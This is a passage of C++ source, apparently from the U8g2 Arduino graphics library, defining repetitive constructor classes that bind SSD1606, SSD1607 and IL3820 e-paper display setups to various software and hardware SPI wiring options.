class U8G2_SSD1606_172X72_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1606_172X72_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1606_172x72_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_200X200_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_200X200_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_200X200_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_GD_200X200_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_GD_200X200_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_WS_200X200_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_WS_200X200_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_200X200_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_200X200_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_200X200_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_GD_200X200_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_GD_200X200_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_WS_200X200_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_WS_200X200_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_200X200_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_200X200_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_200X200_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_200X200_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_GD_200X200_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_GD_200X200_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_GD_200X200_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_GD_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_gd_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1607_WS_200X200_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1607_WS_200X200_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1607_WS_200X200_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1607_WS_200X200_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1607_ws_200x200_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_296X128_1_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_296X128_1_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_1_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_296X128_1_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_V2_296X128_1_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_1_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_V2_296X128_1_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_V2_296X128_1_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_v2_296x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_296X128_2_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IL3820_296X128_2_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IL3820_296X128_2_3W_SW_SPI : public U8G2 { public: U8G2_IL3820_296X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_IL3820_296X128_2_3W_HW_SPI : public U8G2 { public: U8G2_IL3820_296X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_il3820_296x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_IL3820_V2_296X128_2_4W_SW_SPI : public U8G2 { public: U8G2_IL3820_V2_296X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 